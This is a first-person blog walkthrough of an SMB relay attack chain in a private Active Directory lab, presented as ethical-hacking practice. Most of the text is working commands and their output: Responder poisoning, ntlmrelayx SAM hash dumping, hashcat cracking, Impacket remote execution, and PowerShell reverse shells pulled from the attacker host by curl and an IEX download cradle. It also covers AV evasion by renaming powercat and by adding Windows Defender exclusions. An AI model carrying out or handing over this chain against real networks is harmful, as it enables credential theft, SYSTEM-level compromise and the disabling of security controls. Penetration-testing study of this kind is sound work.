SMB Relay to Reverse Shells: Initial Attack Vector Evading AV
Video demonstrating how I gained Admin access via attacking common Active Directory flaws without being detected by Windows Defender (Nov. 2022).
Background
*Note: Methodology given below was done at a later time than the video recording, therefore some information may look different. Otherwise, processes are the same.
Methodology & Setup
Methodology Breakdown
Locating “alive” hosts using nmap.
Using nmap to detect SMB signing disabled misconfiguration.
Responder & setting up the initial attack to exploit SMB signing disabled miconfiguration.
SMB relay attack using Impacket’s tool, ntlmrelayx, to gather NTLM (SAM database) hashes.
Cracking the gathered NTLM hashes.
Using the cracked hash passwords to gain shell access using more Impacket tools: smbexec, wmiexec, psexec & atexec.
Bonus: Gaining fully-interactive shell access.
Bonus x2: Bypassing AMSI to place naughty scripts on the victim’s machine for post-compromise attacking.
Lab Setup
Attacker Machine — Kali Linux (VMWare)
Domain Controller & Active Directory Setup with Windows Server 2019 (VMWare)
Two Windows 10 Machines Connected to the Domain Controller’s Network [Active Directory’s] (VMWare)
If you would like the full setup, feel free to enroll in TCM’s “Practical Ethical Hacking” and view the ‘Active Directory Lab Build’ section!
1. Locating "Alive" Hosts
┌──(root💀kali)-[~/Desktop] └─# nmap -sn -v 192.168.188.0/24 Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-05 12:59 EDT Initiating ARP Ping Scan at 12:59 Scanning 255 hosts [1 port/host] Completed ARP Ping Scan at 12:59, 1.86s elapsed (255 total hosts) Initiating Parallel DNS resolution of 6 hosts. at 12:59 Completed Parallel DNS resolution of 6 hosts. at 12:59, 6.53s elapsed Nmap scan report for 192.168.188.0 [host down] Nmap scan report for 192.168.188.1 Host is up (0.00047s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.188.2 Host is up (0.000083s latency). MAC Address: 00:50:56:E0:10:A9 (VMware) Nmap scan report for 192.168.188.3 [host down] ... Nmap scan report for 192.168.188.120 [host down] Nmap scan report for 192.168.188.121 [host down] Nmap scan report for 192.168.188.122 [host down] Nmap scan report for 192.168.188.123 [host down] Nmap scan report for 192.168.188.124 [host down] Nmap scan report for 192.168.188.125 [host down] Nmap scan report for 192.168.188.126 [host down] Nmap scan report for 192.168.188.127 [host down] Nmap scan report for 192.168.188.129 [host down] Nmap scan report for 192.168.188.130 Host is up (0.00015s latency). MAC Address: 00:0C:29:7E:FD:E9 (VMware) Nmap scan report for 192.168.188.131 [host down] Nmap scan report for 192.168.188.132 [host down] Nmap scan report for 192.168.188.133 [host down] Nmap scan report for 192.168.188.134 [host down] Nmap scan report for 192.168.188.135 Host is up (0.00012s latency). MAC Address: 00:0C:29:2A:53:66 (VMware) Nmap scan report for 192.168.188.136 Host is up (0.00015s latency). MAC Address: 00:0C:29:17:A4:FD (VMware) Nmap scan report for 192.168.188.137 [host down] ... Nmap scan report for 192.168.188.254 Host is up (0.000087s latency). MAC Address: 00:50:56:E5:79:24 (VMware) Nmap scan report for 192.168.188.255 [host down] Initiating Parallel DNS resolution of 1 host. at 12:59 Completed Parallel DNS resolution of 1 host. at 12:59, 0.02s elapsed Nmap scan report for 192.168.188.128 Host is up. Read data files from: /usr/bin/../share/nmap Nmap done: 256 IP addresses (7 hosts up) scanned in 8.47 seconds Raw packets sent: 508 (14.224KB) | Rcvd: 10 (280B)
2. SMB Signing Disabled
┌──(root💀kali)-[~/Desktop] └─# nmap --script=smb2-security-mode.nse -p445 192.168.188.130 192.168.188.135 192.168.188.136 Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-05 13:21 EDT Nmap scan report for 192.168.188.130 Host is up (0.00025s latency). PORT STATE SERVICE 445/tcp open microsoft-ds MAC Address: 00:0C:29:7E:FD:E9 (VMware) Host script results: | smb2-security-mode: | 311: |_ Message signing enabled and required Nmap scan report for 192.168.188.135 Host is up (0.00038s latency). PORT STATE SERVICE 445/tcp open microsoft-ds MAC Address: 00:0C:29:2A:53:66 (VMware) Host script results: | smb2-security-mode: | 311: |_ Message signing enabled but not required Nmap scan report for 192.168.188.136 Host is up (0.00033s latency). PORT STATE SERVICE 445/tcp open microsoft-ds MAC Address: 00:0C:29:17:A4:FD (VMware) Host script results: | smb2-security-mode: | 311: |_ Message signing enabled but not required Nmap done: 3 IP addresses (3 hosts up) scanned in 6.89 seconds
3. Configuring & Running Responder
┌──(root💀kali)-[~/Desktop] └─# cat /etc/responder/Responder.conf [Responder Core] ; Servers to start SQL = On SMB = Off RDP = On Kerberos = On FTP = On POP = On SMTP = On IMAP = On HTTP = Off HTTPS = On DNS = On LDAP = On DCERPC = On WINRM = On
┌──(root💀kali)-[~/Desktop] └─# responder -I eth0 -dwv __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 3.1.3.0 To support this project: Patreon -> https://www.patreon.com/PythonResponder Paypal -> https://paypal.me/PythonResponder Author: Laurent Gaffie (laurent.gaffie@gmail.com) To kill this script hit CTRL-C [+] Poisoners: LLMNR [ON] NBT-NS [ON] MDNS [ON] DNS [ON] DHCP [ON] [+] Servers: HTTP server [OFF] HTTPS server [ON] WPAD proxy [ON] Auth proxy [OFF] SMB server [OFF] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] RDP server [ON] DCE-RPC server [ON] WinRM server [ON] [+] HTTP Options: Always serving EXE [OFF] Serving EXE [OFF] Serving HTML [OFF] Upstream Proxy [OFF] [+] Poisoning Options: Analyze Mode [OFF] Force WPAD auth [OFF] Force Basic Auth [OFF] Force LM downgrade [OFF] Force ESS downgrade [OFF] [+] Generic Options: Responder NIC [eth0] Responder IP [192.168.188.128] Responder IPv6 [fe80::20c:29ff:fe2b:b5a2] Challenge set [random] Don't Respond To Names ['ISATAP'] [+] Current Session Variables: Responder Machine Name [WIN-DQ3YIQX5RYZ] Responder Domain Name [CN0K.LOCAL] Responder DCE-RPC Port [48167] [+] Listening for events...
4. SMB Relay & Gathering Hashes
┌──(root💀kali)-[~/opt/impacket/examples] └─# python ntlmrelayx.py -t 192.168.188.136 -smb2support Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [*] Protocol Client HTTPS loaded.. [*] Protocol Client HTTP loaded.. [*] Protocol Client SMB loaded.. [*] Protocol Client IMAP loaded.. [*] Protocol Client IMAPS loaded.. [*] Protocol Client MSSQL loaded.. [*] Protocol Client RPC loaded.. [*] Protocol Client DCSYNC loaded.. [*] Protocol Client LDAPS loaded.. [*] Protocol Client LDAP loaded.. [*] Protocol Client SMTP loaded.. [*] Running in relay mode to single host [*] Setting up SMB Server [*] Setting up HTTP Server on port 80 [*] Setting up WCF Server [*] Setting up RAW Server on port 6666 [*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.188.135, attacking target smb://192.168.188.136 [*] Authenticating against smb://192.168.188.136 as HIDDEN/NUZUMAKI SUCCEED [*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.188.135 controlled, but there are no more targets left! [*] SMBD-Thread-8 (process_request_thread): Connection from 192.168.188.135 controlled, but there are no more targets left! [*] Service RemoteRegistry is in stopped state [*] Service RemoteRegistry is disabled, enabling it [*] Starting service RemoteRegistry [*] Target system bootKey: 0x063dba02f4ebfe04c5710588770899b3 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:5fecabf7bf879c9c20f2264eaf2a2e28::: Gaara Yuzawa:1001:aad3b435b51404eeaad3b435b51404ee:c39f2beb3d2ec06a62cb887fb391dee0::: [*] Done dumping SAM hashes for host: 192.168.188.136 [*] Stopping service RemoteRegistry [*] Restoring the disabled state for service RemoteRegistry
5. Cracking SAM Hashes
┌──(root💀kali)-[~/opt/impacket/examples] └─# hashcat -m 1000 ~/Desktop/hashes.txt /usr/share/wordlists/rockyou.txt hashcat (v6.2.6) starting OpenCL API (OpenCL 3.0 PoCL 3.0+debian Linux, None+Asserts, RELOC, LLVM 13.0.1, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ============================================================================================================================================ * Device #1: pthread-AMD Ryzen 5 5600X 6-Core Processor, 2904/5872 MB (1024 MB allocatable), 3MCU Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Hashes: 5 digests; 3 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Optimizers applied: * Zero-Byte * Early-Skip * Not-Salted * Not-Iterated * Single-Salt * Raw-Hash ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits. Watchdog: Temperature abort trigger set to 90c Host memory required for this attack: 0 MB Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 31d6cfe0d16ae931b73c59d7e0c089c0: c39f2beb3d2ec06a62cb887fb391dee0:Password2 Approaching final keyspace - workload adjusted. Session..........: hashcat Status...........: Exhausted Hash.Mode........: 1000 (NTLM) Hash.Target......: /root/Desktop/hashes.txt Time.Started.....: Sat Nov 5 14:53:07 2022 (4 secs) Time.Estimated...: Sat Nov 5 14:53:11 2022 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 4304.7 kH/s (0.07ms) @ Accel:512 Loops:1 Thr:1 Vec:8 Recovered........: 2/3 (66.67%) Digests (total), 2/3 (66.67%) Digests (new) Progress.........: 14344385/14344385 (100.00%) Rejected.........: 0/14344385 (0.00%) Restore.Point....: 14344385/14344385 (100.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#1....: $HEX[212173657879616e67656c2121] -> $HEX[042a0337c2a156616d6f732103] Hardware.Mon.#1..: Util: 26% Cracking performance lower than expected? * Append -O to the commandline. This lowers the maximum supported password/salt length (usually down to 32). * Append -w 3 to the commandline. This can cause your screen to lag. * Append -S to the commandline. This has a drastic speed impact but can be better for specific attacks. Typical scenarios are a small wordlist but a large ruleset. * Update your backend API runtime / driver the right way: https://hashcat.net/faq/wrongdriver * Create more work items to make use of your parallelization power: https://hashcat.net/faq/morework [s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => Started: Sat Nov 5 14:53:05 2022 Stopped: Sat Nov 5 14:53:13 2022
6. Using Impacket [Further] & Gaining Shell Access
┌──(root💀kali)-[~/opt/impacket/examples] └─# python psexec.py HIDDEN.local/gyuzawa:Password2@192.168.188.136 Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [*] Requesting shares on 192.168.188.136..... [*] Found writable share ADMIN$ [*] Uploading file nCMBJuPV.exe [*] Opening SVCManager on 192.168.188.136..... [*] Creating service iVJZ on 192.168.188.136..... [*] Starting service iVJZ..... [*] Opening SVCManager on 192.168.188.136..... [-] Error performing the uninstallation, cleaning up
The “psexec.py” script running and hanging because Windows Defender on the remote Windows 10 machine detected the attack as a virus.
The result of using “psexec.py” and Windows Defender taking action against it.
┌──(root💀kali)-[~/opt/impacket/examples] └─# python atexec.py HIDDEN.local/gyuzawa:Password2@192.168.188.136 "systeminfo" Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [!] This will work ONLY on Windows >= Vista [*] Creating task \VYvWErWU [*] Running task \VYvWErWU [*] Deleting task \VYvWErWU [*] Attempting to read ADMIN$\Temp\VYvWErWU.tmp [*] Attempting to read ADMIN$\Temp\VYvWErWU.tmp Host Name: SAND OS Name: Microsoft Windows 10 Enterprise Evaluation OS Version: 10.0.19044 N/A Build 19044 OS Manufacturer: Microsoft Corporation OS Configuration: Member Workstation OS Build Type: Multiprocessor Free Registered Owner: Gaara Yuzawa Registered Organization: Product ID: 00329-20000-00001-AA530 Original Install Date: 7/21/2022, 2:14:26 PM System Boot Time: 11/6/2022, 5:57:21 AM System Manufacturer: VMware, Inc. System Model: VMware7,1 System Type: x64-based PC Processor(s): 2 Processor(s) Installed. [01]: AMD64 Family 25 Model 33 Stepping 0 AuthenticAMD ~3693 Mhz [02]: AMD64 Family 25 Model 33 Stepping 0 AuthenticAMD ~3693 Mhz BIOS Version: VMware, Inc. VMW71.00V.18452719.B64.2108091906, 8/9/2021 Windows Directory: C:\Windows System Directory: C:\Windows\system32 Boot Device: \Device\HarddiskVolume1 System Locale: en-us;English (United States) Input Locale: en-us;English (United States) Time Zone: (UTC-08:00) Pacific Time (US & Canada) Total Physical Memory: 4,095 MB Available Physical Memory: 1,900 MB Virtual Memory: Max Size: 4,799 MB Virtual Memory: Available: 2,697 MB Virtual Memory: In Use: 2,102 MB Page File Location(s): C:\pagefile.sys Domain: HIDDEN.local Logon Server: N/A Hotfix(s): 7 Hotfix(s) Installed. [01]: KB5018329 [02]: KB5003791 [03]: KB5018482 [04]: KB5014671 [05]: KB5015895 [06]: KB5018506 [07]: KB5005699 Network Card(s): 2 NIC(s) Installed. [01]: Intel(R) 82574L Gigabit Network Connection Connection Name: Ethernet0 DHCP Enabled: No IP address(es) [01]: 192.168.188.136 [02]: fe80::86d3:ce87:1ff:4651 [02]: Bluetooth Device (Personal Area Network) Connection Name: Bluetooth Network Connection Status: Media disconnected Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
┌──(root💀kali)-[~/Desktop] └─# python -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 192.168.188.136 - - [06/Nov/2022 10:00:03] "GET /demo.ps1 HTTP/1.1" 200 -
Using an HTTP Server in order to serve up the “demo.ps1” Powershell Reverse Shell script.
┌──(root💀kali)-[~/opt/impacket/examples] └─# python atexec.py HIDDEN.local/gyuzawa:Password2@192.168.188.136 "curl -o demo.ps1 http://192.168.188.128:8000/demo.ps1" Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [!] This will work ONLY on Windows >= Vista [*] Creating task \HgYebVjW [*] Running task \HgYebVjW [*] Deleting task \HgYebVjW [*] Attempting to read ADMIN$\Temp\HgYebVjW.tmp [*] Attempting to read ADMIN$\Temp\HgYebVjW.tmp % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 886 100 886 0 0 104k 0 --:--:-- --:--:-- --:--:-- 123k
Using the “cURL” command in addition to the “atexec.py” method, the “demo.ps1” script is now on the remote victim machine.
┌──(root💀kali)-[~/opt/impacket/examples] └─# python atexec.py HIDDEN.local/gyuzawa:Password2@192.168.188.136 "powershell -ExecutionPolicy Bypass -File .\demo.ps1 192.168.188.128 4444" Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [!] This will work ONLY on Windows >= Vista [*] Creating task \nvbhlJOt [*] Running task \nvbhlJOt [*] Deleting task \nvbhlJOt [*] Attempting to read ADMIN$\Temp\nvbhlJOt.tmp
Using “atexec.py”, a remote Powershell command is used to bypass the Execution Policy, which is usually set to “Restricted”, and run the Powershell Reverse Shell script on the victim machine.
┌──(root💀kali)-[~] └─# nc -nvlp 4444 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 192.168.188.136. Ncat: Connection from 192.168.188.136:49821. (c) Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system
Using “netcat”, the attacker machine is listening for a remote connection and receives one.
This is just the beginning, and the idea is to be as evasive as possible within the Initial Attack Vector. There are numerous attack strategies out there, and this will most certainly not be the best option out there, but it works [as of the time of this blog post]. Once this initial foothold is captured, the idea is to continue on and attempt to gain further access within the Active Directory environment via enumeration and further post-compromise attacks.
7. Bonus 🤑 - Fully-Interactive Reverse Shell
With that being said, let’s look at the option I found to get Powershell up and running via a second netcat reverse shell that is “fully-interactive” (going to call it fully-interactive due to it’s ability to use Powershell). With everything still up and running from the steps above, I use the existing netcat reverse shell to launch the second Powershell-handy reverse shell via a simple Powershell script, obtained here [Credits: Rex Liu]. First, after downloading the script from Rex Liu’s github, I went ahead and followed the technique described on the github page and changed the name of the initial function in the script from powerrcatt to purr, shown here:
function purr
{
param(
[alias("Client")][string]$c="",
[alias("Listen")][switch]$l=$False,
[alias("Port")][Parameter(Position=-1)][string]$p="",
[alias("Execute")][string]$e="",
[alias("ExecutePowershell")][switch]$ep=$False,
[alias("Relay")][string]$r="",
[alias("UDP")][switch]$u=$False,
[alias("dnscat2")][string]$dns="",
[alias("DNSFailureThreshold")][int32]$dnsft=10,
[alias("Timeout")][int32]$t=60,
[Parameter(ValueFromPipeline=$True)][alias("Input")]$i=$null,
[ValidateSet('Host', 'Bytes', 'String')][alias("OutputType")][string]$o="Host",
[alias("OutputFile")][string]$of="",
[alias("Disconnect")][switch]$d=$False,
[alias("Repeater")][switch]$rep=$False,
[alias("GeneratePayload")][switch]$g=$False,
[alias("GenerateEncoded")][switch]$ge=$False,
[alias("Help")][switch]$h=$False
)
┌──(root💀kali)-[~/Desktop] └─# python -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 192.168.188.136 - - [06/Nov/2022 10:12:46] "GET /demoCAT.ps1 HTTP/1.1" 200 -
Above shows the HTTP Server being started on my attacker machine in order for the FIRST netcat reverse shell on the victim machine to download and run the Powershell script.
┌──(root💀kali)-[~/opt/impacket/examples] └─# nc -nvlp 4444 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 192.168.188.136. Ncat: Connection from 192.168.188.136:49824. (c) Microsoft Corporation. All rights reserved. C:\Windows\system32>powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.188.128:8000/demoCAT.ps1');purr -c 192.168.188.128 -p 1234 -e cmd"
The shell above displays our FIRST netcat reverse shell session, and the Powershell command being run in order to pop the SECOND netcat reverse shell.
┌──(root💀kali)-[~/Desktop] └─# nc -nvlp 1234 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234 Ncat: Connection from 192.168.188.136. Ncat: Connection from 192.168.188.136:49826. Microsoft Windows [Version 10.0.19044.2193] (c) Microsoft Corporation. All rights reserved. C:\Windows\system32> powershell powershell Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. Try the new cross-platform PowerShell https://aka.ms/pscore6 PS C:\Windows\system32>
The netcat listening session above waiting for the Powershell command to execute, and then the SECOND reverse shell is being displayed. I simply launched “powershell” to demonstrate I, indeed, had a “fully-interactive” session via netcat.
8. More Bonus 😈 - Bypassing AMSI
Let’s quickly talk about a second option that’s possible, but is much louder: Modifying Defender Settings. Like I said, this is loud and will catch more attention, but is very simple! You can modify folders for Windows Defender to exclude from scanning, also known as exception folders. This is possible with the Powershell command “Add-MpPreference -ExclusionPath :directory name:”. You can replace the :directory name: you wish excluded from scanning, such as “C:\*”, which will exclude everything within the “C” directory.